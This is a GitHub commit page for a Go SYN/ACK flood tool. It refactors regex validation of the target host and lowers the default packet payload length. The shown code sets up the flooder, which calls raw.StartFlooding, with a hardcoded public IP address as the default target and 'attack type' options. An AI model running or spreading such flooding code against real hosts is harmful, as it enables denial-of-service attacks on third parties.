Skip to content

Commit

Permalink
handle errors on regex match operations
Browse files Browse the repository at this point in the history
  • Loading branch information
bilalcaliskan committed Nov 21, 2021
1 parent f0702b7 commit 01ca65e
Show file tree
Hide file tree
Showing 2 changed files with 21 additions and 6 deletions.
25 changes: 20 additions & 5 deletions cmd/syn-flood/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,16 +13,31 @@ import (
"strings"
)

const (
IpRegex = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
DnsRegex = "^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$"
)

var (
isIP, isDNS bool
err error
sfo = options.GetSynFloodOptions()
host = sfo.Host
)

func init() {
bannerBytes, _ := ioutil.ReadFile("banner.txt")
banner.Init(os.Stdout, true, false, strings.NewReader(string(bannerBytes)))
}

func main() {
sfo := options.GetSynFloodOptions()
host := sfo.Host
isIP, _ := regexp.MatchString("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", host)
isDNS, _ := regexp.MatchString("^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$", host)
if isIP, err = regexp.MatchString(IpRegex, host); err != nil {
log.Fatalf("a fatal error occured while matching provided --host with IP regex: %s", err.Error())
}

if isDNS, err = regexp.MatchString(DnsRegex, host); err != nil {
log.Fatalf("a fatal error occured while matching provided --host with DNS regex: %s", err.Error())
}

if !isIP && isDNS {
log.Printf("%s is a DNS record, making DNS lookup\n", host)
Expand All @@ -35,7 +50,7 @@ func main() {
host = ipRecords[0].String()
}

if err := raw.StartFlooding(host, sfo.Port, sfo.PayloadLength, sfo.FloodType); err != nil {
if err = raw.StartFlooding(host, sfo.Port, sfo.PayloadLength, sfo.FloodType); err != nil {
log.Fatalf("an error occured on flooding process: %s", err.Error())
}
}
2 changes: 1 addition & 1 deletion internal/options/options.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,6 @@ type SynFloodOptions struct {
func (sfo *SynFloodOptions) addFlags(fs *pflag.FlagSet) {
fs.StringVar(&sfo.Host, "host", "213.238.175.187", "Provide public ip or DNS of the target")
fs.IntVar(&sfo.Port, "port", 443, "Provide reachable port of the target")
fs.IntVar(&sfo.PayloadLength, "payloadLength", 1500, "Provide payload length in bytes for each SYN packet")
fs.IntVar(&sfo.PayloadLength, "payloadLength", 1400, "Provide payload length in bytes for each SYN packet")
fs.StringVar(&sfo.FloodType, "floodType", "syn", "Provide the attack type. Proper values are: syn, ack, synack")
}

0 comments on commit 01ca65e

Please sign in to comment.